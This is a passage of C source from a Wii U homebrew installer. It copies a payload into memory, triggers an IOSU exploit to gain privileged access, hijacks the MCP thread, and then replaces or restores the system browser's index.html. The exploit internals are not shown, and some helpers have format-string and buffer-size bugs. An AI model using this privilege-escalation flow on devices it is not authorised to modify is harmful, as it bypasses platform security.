void *source, int block_size, int block_count, int fd, int flag, int error); 82 | 83 | #ifdef __cplusplus 84 | } 85 | #endif 86 | 87 | #endif // __FS_FUNCTIONS_H_ 88 | -------------------------------------------------------------------------------- /src/utils/fsutils.c: -------------------------------------------------------------------------------- 1 | #include "fsutils.h" 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include "dynamic_libs/fs_functions.h" 9 | #include "stringutils.h" 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include "../main.h" 15 | 16 | #define BUFFER_SIZE 0x80000 17 | 18 | uint8_t removeRecursive(const char* path) 19 | { 20 | DIR* dir = opendir(path); 21 | if (dir == NULL) 22 | { 23 | console_printf(1, "Error opening %s for removal!", path); 24 | return 0; 25 | } 26 | 27 | size_t path_len = strlen(path); 28 | 29 | struct dirent *entry; 30 | while ((entry = readdir(dir)) != NULL) 31 | { 32 | if (strcmp(entry->d_name, ".") == 0 || strcmp(entry->d_name, "..") == 0) 33 | continue; 34 | 35 | char* full_path = calloc(path_len + strlen(entry->d_name) + 1, sizeof(char)); 36 | strcpy(full_path, path); 37 | strcat(full_path, "/"); 38 | strcat(full_path, entry->d_name); 39 | 40 | if (entry->d_type & DT_DIR) 41 | { 42 | removeRecursive(full_path); 43 | } 44 | else 45 | { 46 | if (remove(full_path) != 0) 47 | { 48 | console_printf(1, "Error removing %s!", full_path); 49 | } 50 | else 51 | { 52 | console_printf(1, "Removed %s", full_path); 53 | } 54 | 55 | } 56 | 57 | free(full_path); 58 | } 59 | 60 | closedir(dir); 61 | 62 | if (strcmp(path, "dev:") != 0) 63 | { 64 | if (remove(path) != 0) 65 | { 66 | console_printf(1, "Error removing %s %i!", path, errno); 67 | } 68 | else 69 | { 70 | console_printf(1, "Removed %s", path); 71 | } 72 | } 73 | 74 | 75 | return 1; 76 | } 77 | 78 | uint8_t dirExists(const char* path) 79 | { 80 | DIR* dir = opendir(path); 81 | if (dir != NULL) 82 | { 83 | closedir(dir); 84 | return 1; 85 | } 86 | 87 | return 0; 88 | } 89 | 90 | uint8_t fileExists(const char* path) 91 | { 92 | FILE* file = fopen(path, "r"); 93 | if (file != NULL) 94 | { 95 | fclose(file); 96 | return 1; 97 | } 98 | 99 | return 0; 100 | } 101 | 102 | uint8_t chmodSingle(int fsaFd, char *pPath, int mode) 103 | { 104 | char* rootpath = calloc(FS_MAX_FULLPATH_SIZE, sizeof(char)); 105 | strcpy(rootpath, pPath); 106 | stringReplace("dev:", MLC_MOUNT_PATH, rootpath); 107 | 108 | int ret = IOSUHAX_FSA_ChangeMode(fsaFd, rootpath, mode); 109 | if (ret < 0) 110 | { 111 | console_printf(1, "chmod 0x%X error %i for %s", mode, ret, pPath); 112 | } 113 | else 114 | { 115 | console_printf(1, "chmod 0x%X successful for %s", mode, pPath); 116 | return 1; 117 | } 118 | 119 | return 0; 120 | } 121 | 122 | uint8_t copyDir(const char* src, const char* dst) 123 | { 124 | DIR* dir = opendir(src); 125 | if (dir == NULL) 126 | { 127 | console_printf(1, "Cannot open %s\n", src); 128 | return 0; 129 | } 130 | 131 | if (!dirExists(dst)) 132 | if(mkdir(dst, 0777) != 0) 133 | { 134 | console_printf(1, "Error creating %s", dst); 135 | return 0; 136 | } 137 | 138 | struct dirent* entry; 139 | while ((entry = readdir(dir)) != NULL) 140 | { 141 | if(strcmp(entry->d_name, "..") == 0 || strcmp(entry->d_name, ".") == 0) 142 | continue; 143 | 144 | char* srcPath = calloc(FS_MAX_FULLPATH_SIZE, sizeof(char)); 145 | strcpy(srcPath, src); 146 | strcat(srcPath, "/"); 147 | strcat(srcPath, entry->d_name); 148 | 149 | char* dstPath = calloc(FS_MAX_FULLPATH_SIZE, sizeof(char)); 150 | strcpy(dstPath, dst); 151 | strcat(dstPath, "/"); 152 | strcat(dstPath, entry->d_name); 153 | 154 | if (entry->d_type & DT_DIR) 155 | { 156 | if (!dirExists(dstPath)) 157 | if (mkdir(dstPath, 0777) != 0) 158 | { 159 | continue; 160 | } 161 | console_printf(1, "Created %s\n", entry->d_name); 162 | copyDir(srcPath, dstPath); 163 | } 164 | else 165 | { 166 | unsigned char* dataBuffer = memalign(0x40, BUFFER_SIZE); 167 | if (!dataBuffer) 168 | { 169 | console_printf(1, "Out of memory!\n"); 170 | return 0; 171 | } 172 | 173 | FILE* readFile = fopen(srcPath, "rb"); 174 | if(readFile == NULL) 175 | { 176 | console_printf(1, "Cannot open file %s\n", srcPath); 177 | continue; 178 | } 179 | 180 | FILE* writeFile = fopen(dstPath, "wb"); 181 | if(writeFile == NULL) 182 | { 183 | console_printf(1, "Cannot create file %s\n", srcPath); 184 | continue; 185 | } 186 | 187 | unsigned int size = 0; 188 | unsigned int ret; 189 | u32 passedMs = 1; 190 | u64 startTime = OSGetTime(); 191 | 192 | console_printf(1, "\n"); 193 | while ((ret = fread(dataBuffer, 0x1, BUFFER_SIZE, readFile)) > 0) 194 | { 195 | passedMs = (OSGetTime() - startTime) * 4000ULL / BUS_SPEED; 196 | if(passedMs == 0) 197 | passedMs = 1; // avoid 0 div 198 | 199 | // write buffer to file 200 | fwrite(dataBuffer, 0x01, ret, writeFile); 201 | size += ret; 202 | console_printf(0, " %s - 0x%X (%i kB/s)\r", entry->d_name, size, (u32)(((u64)size * 1000) / ((u64)1024 * passedMs))); 203 | } 204 | console_printf(1, "Copied %s\n", entry->d_name); 205 | free(dataBuffer); 206 | fclose(writeFile); 207 | fclose(readFile); 208 | } 209 | 210 | free(srcPath); 211 | free(dstPath); 212 | } 213 | closedir(dir); 214 | 215 | return 1; 216 | } 217 | 218 | uint8_t copyFile(const char* src, const char* dst) 219 | { 220 | FILE* sourceFile = fopen(src, "rb"); 221 | if (sourceFile == NULL) 222 | { 223 | console_printf(1, "Error opening %s, src"); 224 | return 0; 225 | } 226 | 227 | unsigned char* dataBuffer = memalign(0x40, BUFFER_SIZE); 228 | if (!dataBuffer) 229 | { 230 | console_printf(1, "Out of memory!"); 231 | fclose(sourceFile); 232 | return 0; 233 | } 234 | 235 | FILE* destFile = fopen(dst, "wb"); 236 | if (destFile == NULL) 237 | { 238 | console_printf(1, "Error creating %s, src"); 239 | fclose(sourceFile); 240 | free(dataBuffer); 241 | return 0; 242 | } 243 | 244 | unsigned int size = 0; 245 | unsigned int ret; 246 | u32 passedMs = 1; 247 | u64 startTime = OSGetTime(); 248 | 249 | console_printf(1, "\n"); 250 | while ((ret = fread(dataBuffer, 0x1, BUFFER_SIZE, sourceFile)) > 0) 251 | { 252 | passedMs = (OSGetTime() - startTime) * 4000ULL / BUS_SPEED; 253 | if(passedMs == 0) 254 | passedMs = 1; // avoid 0 div 255 | 256 | // write buffer to file 257 | fwrite(dataBuffer, 0x01, ret, destFile); 258 | size += ret; 259 | console_printf(0, "0x%X (%i kB/s)\r", size, (u32)(((u64)size * 1000) / ((u64)1024 * passedMs))); 260 | } 261 | 262 | console_printf(1, "Copied %s\n", src); 263 | free(dataBuffer); 264 | fclose(sourceFile); 265 | fclose(destFile); 266 | 267 | return 1; 268 | } -------------------------------------------------------------------------------- /src/system/memory.c: -------------------------------------------------------------------------------- 1 | /**************************************************************************** 2 | * Copyright (C) 2015 Dimok 3 | * 4 | * This program is free software: you can redistribute it and/or modify 5 | * it under the terms of the GNU General Public License as published by 6 | * the Free Software Foundation, either version 3 of the License, or 7 | * (at your option) any later version. 8 | * 9 | * This program is distributed in the hope that it will be useful, 10 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 11 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 12 | * GNU General Public License for more details. 13 | * 14 | * You should have received a copy of the GNU General Public License 15 | * along with this program. If not, see . 16 | ****************************************************************************/ 17 | #include 18 | #include 19 | #include "dynamic_libs/os_functions.h" 20 | #include "common/common.h" 21 | #include "memory.h" 22 | 23 | #define MEMORY_ARENA_1 0 24 | #define MEMORY_ARENA_2 1 25 | #define MEMORY_ARENA_3 2 26 | #define MEMORY_ARENA_4 3 27 | #define MEMORY_ARENA_5 4 28 | #define MEMORY_ARENA_6 5 29 | #define MEMORY_ARENA_7 6 30 | #define MEMORY_ARENA_8 7 31 | #define MEMORY_ARENA_FG_BUCKET 8 32 | 33 | //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- 34 | //! Memory functions 35 | //! This is the only place where those are needed so lets keep them more or less private 36 | //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- 37 | extern unsigned int * pMEMAllocFromDefaultHeapEx; 38 | extern unsigned int * pMEMAllocFromDefaultHeap; 39 | extern unsigned int * pMEMFreeToDefaultHeap; 40 | 41 | extern int (* MEMGetBaseHeapHandle)(int mem_arena); 42 | extern unsigned int (* MEMGetAllocatableSizeForFrmHeapEx)(int heap, int align); 43 | extern void *(* MEMAllocFromFrmHeapEx)(int heap, unsigned int size, int align); 44 | extern void (* MEMFreeToFrmHeap)(int heap, int mode); 45 | extern void *(* MEMAllocFromExpHeapEx)(int heap, unsigned int size, int align); 46 | extern int (* MEMCreateExpHeapEx)(void* address, unsigned int size, unsigned short flags); 47 | extern void *(* MEMDestroyExpHeap)(int heap); 48 | extern void (* MEMFreeToExpHeap)(int heap, void* ptr); 49 | 50 | static int mem1_heap = -1; 51 | static int bucket_heap = -1; 52 | 53 | void memory_init(void) 54 | { 55 | int mem1_heap_handle = MEMGetBaseHeapHandle(MEMORY_ARENA_1); 56 | unsigned int mem1_allocatable_size = MEMGetAllocatableSizeForFrmHeapEx(mem1_heap_handle, 4); 57 | void *mem1_memory = MEMAllocFromFrmHeapEx(mem1_heap_handle, mem1_allocatable_size, 4); 58 | if(mem1_memory) 59 | mem1_heap = MEMCreateExpHeapEx(mem1_memory, mem1_allocatable_size, 0); 60 | 61 | int bucket_heap_handle = MEMGetBaseHeapHandle(MEMORY_ARENA_FG_BUCKET); 62 | unsigned int bucket_allocatable_size = MEMGetAllocatableSizeForFrmHeapEx(bucket_heap_handle, 4); 63 | void *bucket_memory = MEMAllocFromFrmHeapEx(bucket_heap_handle, bucket_allocatable_size, 4); 64 | if(bucket_memory) 65 | bucket_heap = MEMCreateExpHeapEx(bucket_memory, bucket_allocatable_size, 0); 66 | } 67 | 68 | void memory_end(void) 69 | { 70 | MEMDestroyExpHeap(mem1_heap); 71 | MEMFreeToFrmHeap(MEMGetBaseHeapHandle(MEMORY_ARENA_1), 3); 72 | mem1_heap = -1; 73 | 74 | MEMDestroyExpHeap(bucket_heap); 75 | MEMFreeToFrmHeap(MEMGetBaseHeapHandle(MEMORY_ARENA_FG_BUCKET), 3); 76 | bucket_heap = -1; 77 | } 78 | 79 | //!------------------------------------------------------------------------------------------- 80 | //! wraps 81 | //!------------------------------------------------------------------------------------------- 82 | void *__wrap_malloc(size_t size) 83 | { 84 | // pointer to a function resolve 85 | return ((void * (*)(size_t))(*pMEMAllocFromDefaultHeap))(size); 86 | } 87 | 88 | void *__wrap_memalign(size_t align, size_t size) 89 | { 90 | if (align < 4) 91 | align = 4; 92 | 93 | // pointer to a function resolve 94 | return ((void * (*)(size_t, size_t))(*pMEMAllocFromDefaultHeapEx))(size, align); 95 | } 96 | 97 | void __wrap_free(void *p) 98 | { 99 | // pointer to a function resolve 100 | if(p != 0) 101 | ((void (*)(void *))(*pMEMFreeToDefaultHeap))(p); 102 | } 103 | 104 | void *__wrap_calloc(size_t n, size_t size) 105 | { 106 | void *p = __wrap_malloc(n * size); 107 | if (p != 0) { 108 | memset(p, 0, n * size); 109 | } 110 | return p; 111 | } 112 | 113 | size_t __wrap_malloc_usable_size(void *p) 114 | { 115 | //! TODO: this is totally wrong and needs to be addressed 116 | return 0x7FFFFFFF; 117 | } 118 | 119 | void *__wrap_realloc(void *p, size_t size) 120 | { 121 | void *new_ptr = __wrap_malloc(size); 122 | if (new_ptr != 0) 123 | { 124 | memcpy(new_ptr, p, __wrap_malloc_usable_size(p) < size ? __wrap_malloc_usable_size(p) : size); 125 | __wrap_free(p); 126 | } 127 | return new_ptr; 128 | } 129 | 130 | //!------------------------------------------------------------------------------------------- 131 | //! reent versions 132 | //!------------------------------------------------------------------------------------------- 133 | void *__wrap__malloc_r(struct _reent *r, size_t size) 134 | { 135 | return __wrap_malloc(size); 136 | } 137 | 138 | void *__wrap__calloc_r(struct _reent *r, size_t n, size_t size) 139 | { 140 | return __wrap_calloc(n, size); 141 | } 142 | 143 | void *__wrap__memalign_r(struct _reent *r, size_t align, size_t size) 144 | { 145 | return __wrap_memalign(align, size); 146 | } 147 | 148 | void __wrap__free_r(struct _reent *r, void *p) 149 | { 150 | __wrap_free(p); 151 | } 152 | 153 | size_t __wrap__malloc_usable_size_r(struct _reent *r, void *p) 154 | { 155 | return __wrap_malloc_usable_size(p); 156 | } 157 | 158 | void *__wrap__realloc_r(struct _reent *r, void *p, size_t size) 159 | { 160 | return __wrap_realloc(p, size); 161 | } 162 | 163 | //!------------------------------------------------------------------------------------------- 164 | //! some wrappers 165 | //!------------------------------------------------------------------------------------------- 166 | void * MEM2_alloc(unsigned int size, unsigned int align) 167 | { 168 | return __wrap_memalign(align, size); 169 | } 170 | 171 | void MEM2_free(void *ptr) 172 | { 173 | __wrap_free(ptr); 174 | } 175 | 176 | void * MEM1_alloc(unsigned int size, unsigned int align) 177 | { 178 | if (align < 4) 179 | align = 4; 180 | return MEMAllocFromExpHeapEx(mem1_heap, size, align); 181 | } 182 | 183 | void MEM1_free(void *ptr) 184 | { 185 | MEMFreeToExpHeap(mem1_heap, ptr); 186 | } 187 | 188 | void * MEMBucket_alloc(unsigned int size, unsigned int align) 189 | { 190 | if (align < 4) 191 | align = 4; 192 | return MEMAllocFromExpHeapEx(bucket_heap, size, align); 193 | } 194 | 195 | void MEMBucket_free(void *ptr) 196 | { 197 | MEMFreeToExpHeap(bucket_heap, ptr); 198 | } 199 | -------------------------------------------------------------------------------- /src/dynamic_libs/fs_functions.c: -------------------------------------------------------------------------------- 1 | /**************************************************************************** 2 | * Copyright (C) 2015 3 | * by Dimok 4 | * 5 | * This software is provided 'as-is', without any express or implied 6 | * warranty. In no event will the authors be held liable for any 7 | * damages arising from the use of this software. 8 | * 9 | * Permission is granted to anyone to use this software for any 10 | * purpose, including commercial applications, and to alter it and 11 | * redistribute it freely, subject to the following restrictions: 12 | * 13 | * 1. The origin of this software must not be misrepresented; you 14 | * must not claim that you wrote the original software. If you use 15 | * this software in a product, an acknowledgment in the product 16 | * documentation would be appreciated but is not required. 17 | * 18 | * 2. Altered source versions must be plainly marked as such, and 19 | * must not be misrepresented as being the original software. 20 | * 21 | * 3. This notice may not be removed or altered from any source 22 | * distribution. 23 | ***************************************************************************/ 24 | #include "fs_functions.h" 25 | #include "os_functions.h" 26 | #include "utils/utils.h" 27 | 28 | EXPORT_DECL(int, FSInit, void); 29 | EXPORT_DECL(int, FSShutdown, void); 30 | EXPORT_DECL(int, FSAddClientEx, void *pClient, int unk_zero_param, int errHandling); 31 | EXPORT_DECL(int, FSDelClient, void *pClient); 32 | EXPORT_DECL(void, FSInitCmdBlock, void *pCmd); 33 | EXPORT_DECL(int, FSGetMountSource, void *pClient, void *pCmd, int type, void *source, int errHandling); 34 | 35 | EXPORT_DECL(int, FSMount, void *pClient, void *pCmd, void *source, char *target, uint32_t bytes, int errHandling); 36 | EXPORT_DECL(int, FSUnmount, void *pClient, void *pCmd, const char *target, int errHandling); 37 | 38 | EXPORT_DECL(int, FSGetStat, void *pClient, void *pCmd, const char *path, FSStat *stats, int errHandling); 39 | EXPORT_DECL(int, FSGetStatAsync, void *pClient, void *pCmd, const char *path, void *stats, int error, void *asyncParams); 40 | EXPORT_DECL(int, FSRename, void *pClient, void *pCmd, const char *oldPath, const char *newPath, int error); 41 | EXPORT_DECL(int, FSRenameAsync, void *pClient, void *pCmd, const char *oldPath, const char *newPath, int error, void *asyncParams); 42 | EXPORT_DECL(int, FSRemove, void *pClient, void *pCmd, const char *path, int error); 43 | EXPORT_DECL(int, FSRemoveAsync, void *pClient, void *pCmd, const char *path, int error, void *asyncParams); 44 | EXPORT_DECL(int, FSFlushQuota, void *pClient, void *pCmd, const char* path, int error); 45 | EXPORT_DECL(int, FSFlushQuotaAsync, void *pClient, void *pCmd, const char *path, int error, void *asyncParams); 46 | EXPORT_DECL(int, FSGetFreeSpaceSize, void *pClient, void *pCmd, const char *path, uint64_t *returnedFreeSize, int error); 47 | EXPORT_DECL(int, FSGetFreeSpaceSizeAsync, void *pClient, void *pCmd, const char *path, uint64_t *returnedFreeSize, int error, void *asyncParams); 48 | EXPORT_DECL(int, FSRollbackQuota, void *pClient, void *pCmd, const char *path, int error); 49 | EXPORT_DECL(int, FSRollbackQuotaAsync, void *pClient, void *pCmd, const char *path, int error, void *asyncParams); 50 | 51 | EXPORT_DECL(int, FSOpenDir, void *pClient, void *pCmd, const char *path, int *dh, int errHandling); 52 | EXPORT_DECL(int, FSOpenDirAsync, void *pClient, void* pCmd, const char *path, int *handle, int error, void *asyncParams); 53 | EXPORT_DECL(int, FSReadDir, void *pClient, void *pCmd, int dh, FSDirEntry *dir_entry, int errHandling); 54 | EXPORT_DECL(int, FSRewindDir, void *pClient, void *pCmd, int dh, int errHandling); 55 | EXPORT_DECL(int, FSCloseDir, void *pClient, void *pCmd, int dh, int errHandling); 56 | EXPORT_DECL(int, FSChangeDir, void *pClient, void *pCmd, const char *path, int errHandling); 57 | EXPORT_DECL(int, FSChangeDirAsync, void *pClient, void *pCmd, const char *path, int error, void *asyncParams); 58 | EXPORT_DECL(int, FSMakeDir, void *pClient, void *pCmd, const char *path, int errHandling); 59 | EXPORT_DECL(int, FSMakeDirAsync, void *pClient, void *pCmd, const char *path, int error, void *asyncParams); 60 | 61 | EXPORT_DECL(int, FSOpenFile, void *pClient, void *pCmd, const char *path, const char *mode, int *fd, int errHandling); 62 | EXPORT_DECL(int, FSOpenFileAsync, void *pClient, void *pCmd, const char *path, const char *mode, int *handle, int error, const void *asyncParams); 63 | EXPORT_DECL(int, FSReadFile, void *pClient, void *pCmd, void *buffer, int size, int count, int fd, int flag, int errHandling); 64 | EXPORT_DECL(int, FSCloseFile, void *pClient, void *pCmd, int fd, int errHandling); 65 | 66 | EXPORT_DECL(int, FSFlushFile, void *pClient, void *pCmd, int fd, int error); 67 | EXPORT_DECL(int, FSTruncateFile, void *pClient, void *pCmd, int fd, int error); 68 | EXPORT_DECL(int, FSGetStatFile, void *pClient, void *pCmd, int fd, void *buffer, int error); 69 | EXPORT_DECL(int, FSSetPosFile, void *pClient, void *pCmd, int fd, int pos, int error); 70 | EXPORT_DECL(int, FSWriteFile, void *pClient, void *pCmd, const void *source, int block_size, int block_count, int fd, int flag, int error); 71 | 72 | void InitFSFunctionPointers(void) 73 | { 74 | unsigned int *funcPointer = 0; 75 | 76 | OS_FIND_EXPORT(coreinit_handle, FSInit); 77 | OS_FIND_EXPORT(coreinit_handle, FSShutdown); 78 | OS_FIND_EXPORT(coreinit_handle, FSAddClientEx); 79 | OS_FIND_EXPORT(coreinit_handle, FSDelClient); 80 | OS_FIND_EXPORT(coreinit_handle, FSInitCmdBlock); 81 | OS_FIND_EXPORT(coreinit_handle, FSGetMountSource); 82 | 83 | OS_FIND_EXPORT(coreinit_handle, FSMount); 84 | OS_FIND_EXPORT(coreinit_handle, FSUnmount); 85 | 86 | OS_FIND_EXPORT(coreinit_handle, FSGetStat); 87 | OS_FIND_EXPORT(coreinit_handle, FSGetStatAsync); 88 | OS_FIND_EXPORT(coreinit_handle, FSRename); 89 | OS_FIND_EXPORT(coreinit_handle, FSRenameAsync); 90 | OS_FIND_EXPORT(coreinit_handle, FSRemove); 91 | OS_FIND_EXPORT(coreinit_handle, FSRemoveAsync); 92 | OS_FIND_EXPORT(coreinit_handle, FSFlushQuota); 93 | OS_FIND_EXPORT(coreinit_handle, FSFlushQuotaAsync); 94 | OS_FIND_EXPORT(coreinit_handle, FSGetFreeSpaceSize); 95 | OS_FIND_EXPORT(coreinit_handle, FSGetFreeSpaceSizeAsync); 96 | OS_FIND_EXPORT(coreinit_handle, FSRollbackQuota); 97 | OS_FIND_EXPORT(coreinit_handle, FSRollbackQuotaAsync); 98 | 99 | OS_FIND_EXPORT(coreinit_handle, FSOpenDir); 100 | OS_FIND_EXPORT(coreinit_handle, FSOpenDirAsync); 101 | OS_FIND_EXPORT(coreinit_handle, FSReadDir); 102 | OS_FIND_EXPORT(coreinit_handle, FSRewindDir); 103 | OS_FIND_EXPORT(coreinit_handle, FSCloseDir); 104 | OS_FIND_EXPORT(coreinit_handle, FSChangeDir); 105 | OS_FIND_EXPORT(coreinit_handle, FSChangeDirAsync); 106 | OS_FIND_EXPORT(coreinit_handle, FSMakeDir); 107 | OS_FIND_EXPORT(coreinit_handle, FSMakeDirAsync); 108 | 109 | 110 | OS_FIND_EXPORT(coreinit_handle, FSOpenFile); 111 | OS_FIND_EXPORT(coreinit_handle, FSOpenFileAsync); 112 | OS_FIND_EXPORT(coreinit_handle, FSReadFile); 113 | OS_FIND_EXPORT(coreinit_handle, FSCloseFile); 114 | 115 | OS_FIND_EXPORT(coreinit_handle, FSFlushFile); 116 | OS_FIND_EXPORT(coreinit_handle, FSTruncateFile); 117 | OS_FIND_EXPORT(coreinit_handle, FSGetStatFile); 118 | OS_FIND_EXPORT(coreinit_handle, FSSetPosFile); 119 | OS_FIND_EXPORT(coreinit_handle, FSWriteFile); 120 | } 121 | -------------------------------------------------------------------------------- /src/main.c: -------------------------------------------------------------------------------- 1 | #include "main.h" 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include "dynamic_libs/vpad_functions.h" 7 | #include "dynamic_libs/sys_functions.h" 8 | #include "dynamic_libs/fs_functions.h" 9 | #include "dynamic_libs/socket_functions.h" 10 | #include "fs/sd_fat_devoptab.h" 11 | #include 12 | #include 13 | #include "utils/fsutils.h" 14 | #include 15 | #include "exploit.h" 16 | #include "../payload/wupserver_bin.h" 17 | 18 | #define MAX_CONSOLE_LINES_TV 27 19 | #define MAX_CONSOLE_LINES_DRC 18 20 | 21 | static char* consoleArrayTv[MAX_CONSOLE_LINES_TV]; 22 | static char* consoleArrayDrc[MAX_CONSOLE_LINES_DRC]; 23 | 24 | Region region = Undetected; 25 | 26 | static void console_print_pos(int x, int y, const char *format, ...) 27 | { 28 | char* tmp = NULL; 29 | 30 | va_list va; 31 | va_start(va, format); 32 | if((vasprintf(&tmp, format, va) >= 0) && tmp) 33 | { 34 | if(strlen(tmp) > 79) 35 | tmp[79] = 0; 36 | 37 | OSScreenPutFontEx(0, x, y, tmp); 38 | OSScreenPutFontEx(1, x, y, tmp); 39 | 40 | } 41 | va_end(va); 42 | 43 | if(tmp) 44 | free(tmp); 45 | } 46 | 47 | void console_printf(int newline, const char *format, ...) 48 | { 49 | char* tmp = NULL; 50 | 51 | va_list va; 52 | va_start(va, format); 53 | if((vasprintf(&tmp, format, va) >= 0) && tmp) 54 | { 55 | if(newline) 56 | { 57 | if(consoleArrayTv[0]) 58 | free(consoleArrayTv[0]); 59 | if(consoleArrayDrc[0]) 60 | free(consoleArrayDrc[0]); 61 | 62 | for(int i = 1; i < MAX_CONSOLE_LINES_TV; i++) 63 | consoleArrayTv[i-1] = consoleArrayTv[i]; 64 | 65 | for(int i = 1; i < MAX_CONSOLE_LINES_DRC; i++) 66 | consoleArrayDrc[i-1] = consoleArrayDrc[i]; 67 | } 68 | else 69 | { 70 | if(consoleArrayTv[MAX_CONSOLE_LINES_TV-1]) 71 | free(consoleArrayTv[MAX_CONSOLE_LINES_TV-1]); 72 | if(consoleArrayDrc[MAX_CONSOLE_LINES_DRC-1]) 73 | free(consoleArrayDrc[MAX_CONSOLE_LINES_DRC-1]); 74 | 75 | consoleArrayTv[MAX_CONSOLE_LINES_TV-1] = NULL; 76 | consoleArrayDrc[MAX_CONSOLE_LINES_DRC-1] = NULL; 77 | } 78 | 79 | if(strlen(tmp) > 79) 80 | tmp[79] = 0; 81 | 82 | consoleArrayTv[MAX_CONSOLE_LINES_TV-1] = (char*)malloc(strlen(tmp) + 1); 83 | if(consoleArrayTv[MAX_CONSOLE_LINES_TV-1]) 84 | strcpy(consoleArrayTv[MAX_CONSOLE_LINES_TV-1], tmp); 85 | 86 | consoleArrayDrc[MAX_CONSOLE_LINES_DRC-1] = (tmp); 87 | 88 | } 89 | va_end(va); 90 | 91 | // Clear screens 92 | OSScreenClearBufferEx(0, 0); 93 | OSScreenClearBufferEx(1, 0); 94 | 95 | 96 | for(int i = 0; i < MAX_CONSOLE_LINES_TV; i++) 97 | { 98 | if(consoleArrayTv[i]) 99 | OSScreenPutFontEx(0, 0, i, consoleArrayTv[i]); 100 | } 101 | 102 | for(int i = 0; i < MAX_CONSOLE_LINES_DRC; i++) 103 | { 104 | if(consoleArrayDrc[i]) 105 | OSScreenPutFontEx(1, 0, i, consoleArrayDrc[i]); 106 | } 107 | 108 | OSScreenFlipBuffersEx(0); 109 | OSScreenFlipBuffersEx(1); 110 | } 111 | 112 | //just to be able to call async 113 | void someFunc(void *arg) 114 | { 115 | (void)arg; 116 | } 117 | 118 | static int mcp_hook_fd = -1; 119 | int MCPHookOpen() 120 | { 121 | //take over mcp thread 122 | mcp_hook_fd = MCP_Open(); 123 | if(mcp_hook_fd < 0) 124 | return -1; 125 | IOS_IoctlAsync(mcp_hook_fd, 0x62, (void*)0, 0, (void*)0, 0, someFunc, (void*)0); 126 | //let wupserver start up 127 | sleep(1); 128 | if(IOSUHAX_Open("/dev/mcp") < 0) 129 | return -1; 130 | return 0; 131 | } 132 | 133 | void MCPHookClose() 134 | { 135 | if(mcp_hook_fd < 0) 136 | return; 137 | //close down wupserver, return control to mcp 138 | IOSUHAX_Close(); 139 | //wait for mcp to return 140 | sleep(1); 141 | MCP_Close(mcp_hook_fd); 142 | mcp_hook_fd = -1; 143 | } 144 | 145 | int Menu_Main(void) 146 | { 147 | InitOSFunctionPointers(); 148 | InitSocketFunctionPointers(); 149 | InitFSFunctionPointers(); 150 | InitVPadFunctionPointers(); 151 | 152 | VPADInit(); 153 | 154 | for(int i = 0; i < MAX_CONSOLE_LINES_TV; i++) 155 | consoleArrayTv[i] = NULL; 156 | 157 | for(int i = 0; i < MAX_CONSOLE_LINES_DRC; i++) 158 | consoleArrayDrc[i] = NULL; 159 | 160 | // Prepare screen 161 | int screen_buf0_size = 0; 162 | 163 | // Init screen and screen buffers 164 | OSScreenInit(); 165 | screen_buf0_size = OSScreenGetBufferSizeEx(0); 166 | OSScreenSetBufferEx(0, (void *)0xF4000000); 167 | OSScreenSetBufferEx(1, (void *)(0xF4000000 + screen_buf0_size)); 168 | 169 | OSScreenEnableEx(0, 1); 170 | OSScreenEnableEx(1, 1); 171 | 172 | // Clear screens 173 | OSScreenClearBufferEx(0, 0); 174 | OSScreenClearBufferEx(1, 0); 175 | 176 | // Flip buffers 177 | OSScreenFlipBuffersEx(0); 178 | OSScreenFlipBuffersEx(1); 179 | 180 | int mountsdres = mount_sd_fat("sd"); 181 | if (mountsdres < 0) 182 | { 183 | console_printf(1, "Error mounting sd: %i\n", mountsdres); 184 | sleep(2); 185 | return 0; 186 | } 187 | 188 | int res = IOSUHAX_Open(NULL); 189 | if (res < 0) 190 | res = MCPHookOpen(); 191 | if (res < 0) 192 | { 193 | console_printf(1, "Doing IOSU Exploit..."); 194 | *(volatile unsigned int*)0xF5E70000 = wupserver_bin_len; 195 | memcpy((void*)0xF5E70020, &wupserver_bin, wupserver_bin_len); 196 | DCStoreRange((void*)0xF5E70000, wupserver_bin_len + 0x40); 197 | IOSUExploit(); 198 | //done with iosu exploit, take over mcp 199 | if(MCPHookOpen() < 0) 200 | { 201 | console_printf(1, "MCP hook could not be opened!"); 202 | goto exit; 203 | } 204 | console_printf(1, "Done doing IOSU Exploit!"); 205 | } 206 | 207 | int fsaFd = IOSUHAX_FSA_Open(); 208 | if(fsaFd < 0) 209 | { 210 | console_printf(1, "IOSUHAX_FSA_Open failed: %i\n", fsaFd); 211 | sleep(2); 212 | return 0; 213 | } 214 | 215 | int mountres = mount_fs("dev", fsaFd, NULL, MLC_MOUNT_PATH); 216 | if(mountres < 0) 217 | { 218 | console_printf(1, "%i Mount of %s failed", mountres, MLC_MOUNT_PATH); 219 | sleep(5); 220 | return 0; 221 | } 222 | 223 | // detect region 224 | if (dirExists(BROWSER_PATH_EUR)) 225 | region = EUR; 226 | else if (dirExists(BROWSER_PATH_USA)) 227 | region = USA; 228 | else if (dirExists(BROWSER_PATH_JPN)) 229 | region = JPN; 230 | 231 | if (region == Undetected) 232 | { 233 | console_printf(1, "Error detecting Region!"); 234 | sleep(2); 235 | return 0; 236 | } 237 | 238 | const char* regionStrings[] = {"Undetected", "EUR", "USA", "JPN"}; 239 | 240 | // Clear screens 241 | OSScreenClearBufferEx(0, 0); 242 | OSScreenClearBufferEx(1, 0); 243 | 244 | console_print_pos(0, 0, "-----------------------------------------"); 245 | console_print_pos(0, 1, "Indexiine Installer v2 by GaryOderNichts"); 246 | console_print_pos(0, 2, "Indexiine by Jonhyjp"); 247 | console_print_pos(0, 3, "Detected Region: %s", regionStrings[region]); 248 | console_print_pos(0, 4, "-----------------------------------------"); 249 | 250 | console_print_pos(0, 6, "Press A to backup and replace index.html"); 251 | console_print_pos(0, 7, "Press B to restore index.html"); 252 | 253 | console_print_pos(0, 9, "Press HOME to exit"); 254 | 255 | // Flip buffers 256 | OSScreenFlipBuffersEx(0); 257 | OSScreenFlipBuffersEx(1); 258 | 259 | int vpadError = -1; 260 | VPADData vpad; 261 | 262 | char* indexpath; 263 | switch (region) 264 | { 265 | case EUR: 266 | indexpath = BROWSER_PATH_EUR INDEX_PATH; 267 | break; 268 | case USA: 269 | indexpath = BROWSER_PATH_USA INDEX_PATH; 270 | break; 271 | case JPN: 272 